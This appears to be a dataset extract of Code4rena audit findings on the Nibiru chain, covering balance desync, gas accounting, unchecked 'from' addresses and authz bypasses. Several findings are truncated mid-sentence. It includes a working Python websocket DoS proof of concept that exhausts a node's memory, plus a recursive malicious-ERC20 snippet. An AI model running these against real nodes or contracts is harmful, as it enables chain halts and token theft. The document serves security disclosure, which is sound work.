xanoutas/solidity-security-findings huggingface dataset:
Unlimited Nibi could be minted because evm and bank balance are not synced when staking
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/bank_extension.go#L80-L91
https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/statedb.go#L72-L103


# Vulnerability details

## Finding description and impact

`NibiruBankKeeper.SyncStateDBWithAccount` function in [bank_extension.go](https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/bank_extension.go#L80C1-L91C2) is responsible for synchronizing the EVM state database (`StateDB`) with the corresponding bank account balance whenever the balance is updated. However, this function is not invoked by all operations that modify bank balances.

```go
func (bk *NibiruBankKeeper) SyncStateDBWithAccount(
	ctx sdk.Context, acc sdk.AccAddress,
) {
	// If there's no StateDB set, it means we're not in an EthereumTx.
	if bk.StateDB == nil {
		return
	}
	balanceWei := evm.NativeToWei(
		bk.GetBalance(ctx, acc, evm.EVMBankDenom).Amount.BigInt(),
	)
	bk.StateDB.SetBalanceWei(eth.NibiruAddrToEthAddr(acc), balanceWei)
}
```

The following functions call [bankKeeper.setBalance](https://github.com/NibiruChain/cosmos-sdk/blob/v0.47.11-nibiru.2/x/bank/keeper/send.go#L337), but some do not trigger SyncStateDBWithAccount:

* bankKeeper.addCoins
    * bankKeeper.SendCoins (✅ Synced)
        * bankMsgServer.Send
        * bankKeeper.SendCoinsFromModuleToAccount (✅ Synced)
        * bankKeeper.SendCoinsFromModuleToModule (✅ Synced)
        * bankKeeper.SendCoinsFromAccountToModule (✅ Synced)
    * bankKeeper.InputOutputCoins (❌ Not Synced)
        * bankMsgServer.MultiSend
    * bankKeeper.DelegateCoins (❌ Not Synced)
    * bankKeeper.UndelegateCoins (❌ Not Synced)
    * bankKeeper.MintCoins (✅ Synced)
* bankKeeper.subUnlockedCoins
    * bankKeeper.SendCoins (✅ Synced)
    * bankKeeper.InputOutputCoins (❌ Not Synced)
    * bankKeeper.UndelegateCoins (❌ Not Synced)
    * bankKeeper.BurnCoins (✅ Synced)
* bankKeeper.DelegateCoins (❌ Not Synced)
    * bankKeeper.DelegateCoinsFromAccountToModule
        * stakingKeeper.Delegate
            * stakingMsgServer.CreateValidator
            * stakingMsgServer.Delegate
            * stakingMsgServer.CancelUnbondingDelegation
            * stakingKeeper.BeginRedelegation
                * stakingMsgServer.BeginRedelegate

The EVM can mint or burn an arbitrary amount of Nibi tokens when the `obj.Account.BalanceWei` in the StateDB is out of sync. Specifically, the EVM's [SetAccBalance](https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/statedb.go#L72-L98) function allows this discrepancy to occur if balances are updated outside of the SyncStateDBWithAccount mechanism.


## Proof of Concept
The `bankKeeper.DelegateCoins` function illustrates this vulnerability. It would reduce the balance of delegator address and increase the balance [BondedPoolName or NotBondedPoolName](https://github.com/NibiruChain/cosmos-sdk/blob/v0.47.11-nibiru.2/x/staking/keeper/delegation.go#L672-L680) module address. And this coul
Gas is not consumed when precompile method fail, allowing resource consumption related DOS
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/precompile/funtoken.go#L79-L84
https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/precompile/wasm.go#L71-L79
https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/precompile/oracle.go#L60-L64


# Vulnerability details

## Finding description and impact

When a precompile method fails (e.g., due to an error), **gas is not consumed** as the method returns early before invoking the gas consumption logic. This issue affects all three precompiles in the system:

- **FunToken**
- **Wasm**
- **Oracle**

The lack of gas consumption on failure allows attackers to perform denial-of-service (DoS) attacks by exploiting the failure conditions to consume excessive resources without paying for them. The code snippet below demonstrates the issue:

```go
if err != nil {
    return nil, err
}

// Gas consumed by a local gas meter
contract.UseGas(startResult.CacheCtx.GasMeter().GasConsumed())
```

### Impact:
1. Resource Consumption without Gas Payment: Since gas is not consumed on failure, an attacker can repeatedly trigger precompile failures, consuming large amounts of resources without the associated cost.
2. Potential DoS Attack: This can lead to a DoS attack, where an attacker fills the block with failed precompile executions, causing network slowdowns, failures, or even halting the chain.
3. Block Gas Limit Exploitation: Before the precompile.Run method is called, a small amount of requiredGas is consumed. However, once this is consumed, attackers can continue to use gas at no cost, potentially exhausting the block gas limit.

## Proof of Concept
1. Create an EVM Contract: Design an EVM contract that calls the `wasm.execute` function repeatedly, up to the `maxMultistoreCacheCount` (10) times.
2. Trigger the DoS: Call the contract with a transaction that uses a large amount of gas limit.
3. Exploit the Failure: In the `wasm.execute` function, consume almost all of the available gas and then revert the transaction. This will allow the attacker to consume gas without paying for it, leveraging the bug in the precompile failure handling.

## Recommended mitigation steps

Use gas before returning the `err`

```go
// Gas consumed by a local gas meter
contract.UseGas(startResult.CacheCtx.GasMeter().GasConsumed())

if err != nil {
    return nil, err
}
```
Inconsistent State Management: EthereumTx StateDB Overriding CallContract Results
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/statedb/statedb.go#L515-L586


# Vulnerability details

## Finding Description and Impact

When a precompile is invoked, the context (`ctx`) is cached, and the state database (`statedb`) commits to this cache, ensuring that precompiles operate with the most up-to-date context and data. During the execution of the precompile, the context can be modified, but these changes are not fully reflected in the state database, except for bank-related modifications. 

```go
func (s *StateDB) Commit() error {
	if s.writeToCommitCtxFromCacheCtx != nil {
		s.writeToCommitCtxFromCacheCtx()
	}
	return s.commitCtx(s.GetEvmTxContext())
}
```

The snippet above shows that at the end of the transaction, the `evmTxCtx` is updated to the cached context (`cachedCtx`) before the state changes are committed by the `statedb.commitCtx`. However, the issue arises because **EvmState and Account modifications made within `cachedCtx` can be overwritten when `statedb.commitCtx` commits the state changes**. This creates a situation where certain state changes, particularly those made by precompiles like FunToken, can be lost or corrupted.

For example, the **FunToken precompile** may call `CallContract` and modify `EvmState`'s `AccState` after the account state object has been added to the `statedb` and dirtied.

### Impact
1. **Unlimited Token Minting**: The state inconsistencies could allow the minting of unlimited FunTokens, as state changes made during precompile execution may be overwritten.
2. **State Corruption**: The precompile could corrupt the state of any contract by exploiting the `statedb`'s lack of awareness of the modifications made during precompile execution.
3. **Malicious Contract Exploits**: An attacker could create a malicious ERC20 token, which, when added to FunToken, could leverage the `MaliciousERC20.transfer` method as a callback to perform arbitrary operations on any contract, including state manipulation.
4. **Locking Factories**: A lot of factories use create which depends on their nonce being incremented in sequence. If a nonce is reused, the transaction would fail because there's already a contract where they want to deploy.

## Proof of Concept

* CreateFunToken: Add Nibi, or any valuable coin to FunToken
* ConvertCoinToEvm: Convert Nibi to ERC20
* Create eth tx that performs this in the smart contract
    * transfer WEI to add object to statedb
    * Convert X ERC20 to Nibi through `FunToken.sendToBank`. It would reduce balanceOf contract by X amount, and mint X Nibi coins to the contract.
* At the End of EthereumTx, statedb would commit the balanceOf contract to the initial balance before `FunToken.sendToBank` 

The transfer to add object to statedb can also be done after Precompile is called because `statedb` would get account and object from `evmTxCtx` which is lagging `cachedCtx`

## Recommended mitigation steps

Make sure EthereumTx.statedb knows what CallContracts
A malicious contract can halt the chain by calling FunToken.sendToBank recursively
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/call_contract.go#L83-L115
https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/erc20.go#L85


# Vulnerability details

## Finding description and impact

A malicious contract can exploit recursive calls to `FunToken.sendToBank` to effectively halt the chain.

The FunToken implementation allows any user to create a fun token for any `ERC20` contract. However, arbitrary `ERC20` contracts cannot be trusted, as they might include malicious logic. When `erc20Calls.Transfer` interacts with an `ERC20` contract, it invokes the transfer function with a gas limit of `Erc20GasLimitExecute` (200,000 gas). This gas limit is not deducted from the `ctx.GasMeter` before `ApplyEvmMsg`, creating a vulnerability.

```go
evmResp, evmObj, err = k.ApplyEvmMsg(
	ctx, evmMsg, evm.NewNoOpTracer(), commit, evmCfg, txConfig, true,
)
if err != nil {
	// We don't know the actual gas used, so consuming the gas limit
	k.ResetGasMeterAndConsumeGas(ctx, gasLimit)
	err = errors.Wrap(err, "failed to apply ethereum core message")
	return
}
```

A malicious `ERC20` contract can exploit this by recursively calling `FunToken.sendToBank`. Each recursive call resets the `cacheCtx.GasMeter` to the initial gas limit, bypassing gas consumption tracking. Additionally, the issue is exacerbated because `SavePrecompileCalledJournalChange` does not increment `multistoreCacheCount` correctly during recursive calls. Each invocation of `CallContract` creates a new `StateDB`, which allows unlimited recursion without enforcing gas limits.

### Impact
This vulnerability allows an attacker to consume computational resources indefinitely, leading to the exhaustion of system resources and a halt in chain processing.


## Proof of Concept

The malicious ERC20 can have the following transfer logic.

```solidity
function transfer(address recipient, uint256 amount) public returns (bool) {
    if (recipient == EVM_MODULE_ADDRESS) {
        // Recursively call FunToken.sendToBank
        funToken.sendToBank(address(this), amount, recipient);
    }

    // Normal ERC20 transfer logic
    // ...
    return true;
}
```

## Recommended mitigation steps

Use the `gaslimit` in the `ctx.GasMeter` before `ApplyEvmMsg`.
Arbitrary minting of tokens
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/8ed91a036f664b421182e183f19f6cef1a4e28ea/x/evm/keeper/erc20.go#L59-L64


# Vulnerability details

## Finding description and impact

The `Mint` function in `erc20.go` allows an arbitrary from address to be specified without validating that the caller is the actual owner of the from address. This lack of validation allows an attacker to impersonate any address, including the contract owner, to mint tokens. 

An adversary can mint tokens arbitrarily by inputing the owner´s address and mint max tokens.

## Proof of Concept

When the owner of the contract is known (if not address(0)) , the adversary can input this as the Mint function´s `from` argument.

```go
Contract: erc20.go

59: func (e erc20Calls) Mint(
60: 	contract, from, to gethcommon.Address, amount *big.Int, 
61: 	ctx sdk.Context,
62: ) (evmResp *evm.MsgEthereumTxResponse, err error) {
63: 	return e.CallContract(ctx, e.ABI, from, &contract, true, Erc20GasLimitExecute, "mint", to, amount)
64: }
```

In the context of Nibiru, which integrates Cosmos SDK with EVM functionality, the `from` address specified in a function like `Mint` is used to simulate the `msg.sender` in the EVM.

This means that the `from` address in the `Mint` function is effectively treated as the `msg.sender` when the EVM processes the contract call.

As such, the Cosmos SDK does not inherently validate the from address against the transaction signer in this context while the EVM will use the `from` as `msg.sender` for permission checks, which is manipulated in this path.

This leads to adversary minting arbitrary tokens mimicing the `owner` of the contract.

## Recommended mitigation steps

Ensure that the `from` address matches the transaction signer's address. This can be done by:

   - Adding a check to compare `from` with the actual `msg.sender` in the Cosmos transaction context.
Malicious users will transfer funds directly to module accounts causing potential chain halt
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/main/x/evm/keeper/bank_extension.go#L63


# Vulnerability details

I'll help you write a security report based on the provided format.

# Title
Malicious users will transfer funds directly to module accounts causing potential chain halt

### Summary
The missing blockedAddr check in NibiruBankKeeper.SendCoins will cause a potential chain halt for the network as malicious users will directly transfer funds to module accounts, breaking state invariants.

### Root Cause

https://medium.com/@jjordanjjordan/150-000-evmos-vulnerability-through-reading-documentation-d26328590a7a

This blog about a critical vulnerability was discovered in the EVMOS network through careful reading of documentation. The vulnerability centered around the assumption that funds could not be directly transferred to module addresses. This assumption proved incorrect, leading to network disruption and was classified as a severe security issue by official sources.

The documentation explains this more effectively than I can.
https://docs.cosmos.network/v0.46/modules/bank/02_keepers.html#common-types

>The x/bank module accepts a map of addresses that are considered blocklisted from directly and explicitly receiving funds.

>Typically, these addresses are module accounts. If these addresses receive funds outside the expected rules of the state machine, invariants are likely to be broken and could result in a halted network.

__In case it's a code mistake:__
- In `NibiruBankKeeper.SendCoins`, there is a missing validation check for blocked addresses (module accounts) before executing transfers.

### Internal pre-conditions

1. Module accounts need to exist in the system
2. Attacker needs to have sufficient funds to transfer

### Attack Path:

1. Attacker identifies module accounts in the system
2. Attacker directly transfers funds to these module accounts using `bank.SendCoins`
3. The transfer succeeds without any blocked address validation
4. Module account receives funds outside its expected rules
5. This breaks state invariants as module accounts should only receive funds through their designated rules
6. The broken invariants could potentially halt the network

### Impact
In case it's a __vulnerability path:__
The network potentially suffers a chain halt due to broken state invariants. This is similar to what happened in the Evmos network (as documented in a [Medium article](https://medium.com/@jjordanjjordan/150-000-evmos-vulnerability-through-reading-documentation-d26328590a7a)).

### References
1. Official Cosmos documentation states: "The `x/bank` module accepts a map of addresses that are considered blocklisted from directly and explicitly receiving funds. Typically, these addresses are module accounts. If these addresses receive funds outside the expected rules of the state machine, invariants are likely to be broken and could result in a halted network."
2. A similar vulnerability was previously discovered
Adversary can drain the token holders due to missing signature validation
Audit: 2024-11-nibiru-findings
Severity: HIGH

# Lines of code

https://github.com/code-423n4/2024-11-nibiru/blob/8ed91a036f664b421182e183f19f6cef1a4e28ea/x/evm/keeper/erc20.go#L76-L121


# Vulnerability details

## Finding description and impact

The `Transfer` function in `erc20.go` allows an arbitrary `from` address to be specified without validating that the caller is the actual owner of the `from` address. This lack of validation allows an arbitrary to impersonate any address, including the token holder, to transfer tokens. 

This leads to theft of tokens from the token holders.
## Proof of Concept
The `Transfer` function is as below:

```go
Contract: erc20.go

 76: func (e erc20Calls) Transfer(
 77: 	contract, from, to gethcommon.Address, amount *big.Int, 
 78: 	ctx sdk.Context,
 79: ) (balanceIncrease *big.Int, resp *evm.MsgEthereumTxResponse, err error) {
 80: 	recipientBalanceBefore, err := e.BalanceOf(contract, to, ctx)
 81: 	if err != nil {
 82: 		return balanceIncrease, nil, errors.Wrap(err, "failed to retrieve recipient balance")
 83: 	}
 84: 
 85: 	resp, err = e.CallContract(ctx, e.ABI, from, &contract, true, Erc20GasLimitExecute, "transfer", to, amount)
 86: 	if err != nil {
 87: 		return balanceIncrease, nil, err
 88: 	}
 89: 
 90: 	var erc20Bool ERC20Bool
 91: 	err = e.ABI.UnpackIntoInterface(&erc20Bool, "transfer", resp.Ret)
 92: 	if err != nil {
 93: 		return balanceIncrease, nil, err
 94: 	}
 95: 
 96: 	// Handle the case of success=false: https://github.com/NibiruChain/nibiru/issues/2080
 97: 	success := erc20Bool.Value 
 98: 	if !success {
 99: 		return balanceIncrease, nil, fmt.Errorf("transfer executed but returned success=false")
100: 	}
101: 
102: 	recipientBalanceAfter, err := e.BalanceOf(contract, to, ctx)
103: 	if err != nil {
104: 		return balanceIncrease, nil, errors.Wrap(err, "failed to retrieve recipient balance")
105: 	}
106: 
107: 	balanceIncrease = new(big.Int).Sub(recipientBalanceAfter, recipientBalanceBefore)
108: 
109: 	// For flexibility with fee on transfer tokens and other types of deductions,
110: 	// we cannot assume that the amount received by the recipient is equal to
111: 	// the call "amount". Instead, verify that the recipient got tokens and
112: 	// return the amount.
113: 	if balanceIncrease.Sign() <= 0 {
114: 		return balanceIncrease, nil, fmt.Errorf(
115: 			"amount of ERC20 tokens received MUST be positive: the balance of recipient %s would've changed by %v for token %s",
116: 			to.Hex(), balanceIncrease.String(), contract.Hex(),
117: 		)
118: 	}
119: 
120: 	return balanceIncrease, resp, err
121: }
```

The adversary can input the `from` address as the token holder addresses while the Cosmos SDK does not inherently validate the `from` address against the transaction signer in this context. Meanwhile, the EVM uses the `from` address as the `msg.sender` for contract calls, which is played here.


In Cosmos SDK, each transaction is composed of messages (`sdk.Msg`), and each message has a `GetSigners()` method that returns the addresses that
Vulnerability in app/ante/commission.go: Bypassing AnteHandler for Maximum Commission Validation via Nested MsgExec
Audit: 2024-11-nibiru-findings
Severity: HIGH

I strongly recommend including this vulnerability in the audit scope, as it has the potential to impact the entire chain's economy.

The AnteDecoratorStakingCommission decorator is an AnteHandler used to validate and restrict the **maximum delegation commission (Commission)** set by validators before processing a transaction. If a validator attempts to set a commission rate exceeding the allowed maximum, the transaction is blocked. However, this validation can be bypassed using nested MsgExec.

### Code Analysis

AnteDecoratorStakingCommission performs validation for MsgCreateValidator and MsgEditValidator messages by checking the commission rate against the maximum allowed value.

https://github.com/code-423n4/2024-11-nibiru/blob/main/app/ante/commission.go#L22

```go
func (a AnteDecoratorStakingCommission) AnteHandle(
	ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler,
) (newCtx sdk.Context, err error) {
	for _, msg := range tx.GetMsgs() {
		switch msg := msg.(type) {
		case *stakingtypes.MsgCreateValidator:
			rate := msg.Commission.Rate
			if rate.GT(MAX_COMMISSION()) {
				return ctx, NewErrMaxValidatorCommission(rate)
			}
		case *stakingtypes.MsgEditValidator:
			rate := msg.CommissionRate
			if rate != nil && msg.CommissionRate.GT(MAX_COMMISSION()) {
				return ctx, NewErrMaxValidatorCommission(*rate)
			}
		default:
			continue
		}
	}
	return next(ctx, tx, simulate)
}
```

The MAX_COMMISSION() value ensures validators cannot set an unreasonably high commission rate (e.g., higher than 25%). However, this validation is bypassed if MsgCreateValidator or MsgEditValidator is wrapped inside a MsgExec.

Cosmos SDK modules such as x/gov, x/group, and x/authz support nested or embedded messages. In particular, the x/authz module allows one account (granter) to authorize another account (grantee) to execute specific messages on their behalf. When using MsgExec, the grantee can execute messages such as MsgCreateValidator without triggering the AnteDecoratorStakingCommission.

The AnteDecoratorAuthzGuard decorator is designed to intercept and block specific MsgExec operations, such as MsgEthereumTx, but does not validate for other message types like MsgCreateValidator.

https://github.com/code-423n4/2024-11-nibiru/blob/main/app/ante/authz_guard.go#L18

```go
func (rmd AnteDecoratorAuthzGuard) AnteHandle(
	ctx sdk.Context, tx sdk.Tx, simulate bool, next sdk.AnteHandler,
) (newCtx sdk.Context, err error) {
	for _, msg := range tx.GetMsgs() {
		// Reject MsgEthereumTx inside exec
		if msgExec, ok := msg.(*authz.MsgExec); ok {
			msgsInExec, err := msgExec.GetMessages()
			if err != nil {
				return ctx, errors.Wrapf(
					errortypes.ErrInvalidType,
					"failed getting exec messages %s", err,
				)
			}
			for _, msgInExec := range msgsInExec {
				if _, ok := msgInExec.(*evm.MsgEthereumTx); ok {
					return ctx, errors.Wrapf(
						errortypes.ErrInvalidType,
						"MsgEthereumTx
remote Denial of Service issue in nibid
Audit: 2024-11-nibiru-findings
Severity: HIGH

This file is out of scope https://github.com/NibiruChain/nibiru/blob/main/eth/rpc/rpcapi/websockets.go#L123

However, nibid uses gorilla websocket library, which does not have any read limits by default.

Remote attacker could send huge amount of bytes, at some point 'nibid' daemon will be killed by system OOM killer.

How to reproduce:

1) PoC:

```
#!/usr/bin/env python2
import time
import sys
import struct
from socket import *

host='localhost'
port=8546

s='GET / HTTP/1.1\r\n'  
s+='Host: %s:%d\r\n' % (host, port)
s+='User-Agent: python-requests/2.25.1\r\n'
s+='Accept-Encoding: gzip, deflate\r\n'
s+='Accept: */*\r\n'
s+='Connection: keep-alive\r\n'
s+='Content-Type: application/json\r\n'
s+='Upgrade: websocket\r\n'
s+='Origin: http://%s:%d\r\n' % (host,port)
s+='Connection: upgrade\r\n'
s+='Sec-WebSocket-Key: +RENBTtUz5ztvAFFAVbqwA==\r\n'
s+='Sec-Websocket-Version: 13\r\n'
s+='\r\n'

sock=socket(AF_INET,SOCK_STREAM)
sock.connect((host,port))
sock.sendall(s)
s= sock.recv(100000)
	
print 'Server response: \n\n%s' % s

print 'Sending data, it will take some time...'

frame_header = chr( 1 )
frame_header += chr(0x7f| 0x80)
length = 10000*1024*1024*1024
frame_header += struct.pack("!Q", length)

sock.sendall(frame_header)
while 1:
	sock.sendall('1'*1000000)

```

2) start localnet:
```
$ just localnet
```

3) run PoC, at some point nibid crashes, you can check the messages from OOM killer in /var/log/syslog:
```
Out of memory: Killed process 6635 (nibid) total-vm:248434.., anon-rss:17735924kB, file-rss:0kB, shmem-rss:0kB, UID:1000 pgtables:39036kB oom_score_adj:0
```